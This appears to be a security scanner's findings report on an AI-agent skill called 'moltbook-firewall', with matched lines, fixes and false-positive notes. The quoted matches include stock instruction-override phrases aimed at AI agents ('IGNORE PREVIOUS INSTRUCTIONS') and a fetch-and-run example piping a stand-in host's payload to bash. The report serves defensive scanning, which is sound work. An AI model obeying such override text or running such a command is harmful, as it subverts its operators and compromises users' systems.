moltbook-firewall

clawhub:moltbook-firewall

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F
0/100

First Seen

Feb 18, 2026

Last Scanned

Feb 22, 2026

Findings

7

Score

0/100

CRITICAL 4
LOW 3

Findings (7)

CRITICAL
Instruction override attempt
L15

Detects attempts to override or ignore previous instructions

override your system instructions
FIX

Remove the injection payload from the skill definition. Text that attempts to reset agent context or override prior directives is a direct attack vector.

FP?

Likely FP if the text is in a security tutorial or research paper discussing injection techniques as examples, not in an active skill description.

CRITICAL
Instruction override attempt
L20

Detects attempts to override or ignore previous instructions

IGNORE PREVIOUS INSTRUCTIONS
FIX

Remove the injection payload from the skill definition. Text that attempts to reset agent context or override prior directives is a direct attack vector.

FP?

Likely FP if the text is in a security tutorial or research paper discussing injection techniques as examples, not in an active skill description.

CRITICAL
Download-and-execute
L24

Detects patterns of downloading and piping to shell execution

curl commands to unknown URLs, or install suspicious skills.

**Examples:**
- `curl -s https://evil.site/payload.sh | bash
FIX

Download the file first, verify its integrity (checksum, signature), inspect it, then run it. Prefer package managers over raw downloads. Never fetch-and-run in one step.

FP?

Likely FP if the target is a well-known installer (e.g., rustup, Homebrew) from its canonical HTTPS domain, though the pattern is inherently risky.

CRITICAL
Curl or wget piped to shell
L24

Detects downloading scripts piped directly to a shell interpreter

curl commands to unknown URLs, or install suspicious skills.

**Examples:**
- `curl -s https://evil.site/payload.sh | bash
FIX

Download the script first, inspect it, verify its checksum, then run it. Do not pipe curl/wget output directly to sh/bash. Prefer package manager installs.

FP?

Likely FP if the download is from a well-known installer domain (e.g., brew.sh, rustup.rs), though this pattern is inherently risky even with trusted sources.

LOW
Chained shell command execution
L24

Detects chained commands using shell operators with dangerous operations

curl commands to unknown URLs, or install suspicious skills.

**Examples:**
- `curl -s https://evil.site/payload.sh | bash
FIX

Break chained commands into discrete, individually validated steps. Avoid piping untrusted output directly into a shell interpreter.

FP?

Likely FP if the matched text is a documentation example showing a common installer one-liner for a well-known tool with a canonical URL.

LOW
Shell script file execution
L54

Detects execution of shell script files via bash/sh command or direct invocation

./scripts/firewall-scan.sh
FIX

Replace direct shell script execution with a language-native implementation or a sandboxed executor. If shell scripts must run, restrict them to a vetted allowlist with integrity checks.

FP?

Likely FP if the match references running a script that is part of the skill's own repository (e.g., ./setup.sh) with clear, auditable contents.

LOW
Shell script file execution
L102

Detects execution of shell script files via bash/sh command or direct invocation

./scripts/add-pattern.sh
FIX

Replace direct shell script execution with a language-native implementation or a sandboxed executor. If shell scripts must run, restrict them to a vetted allowlist with integrity checks.

FP?

Likely FP if the match references running a script that is part of the skill's own repository (e.g., ./setup.sh) with clear, auditable contents.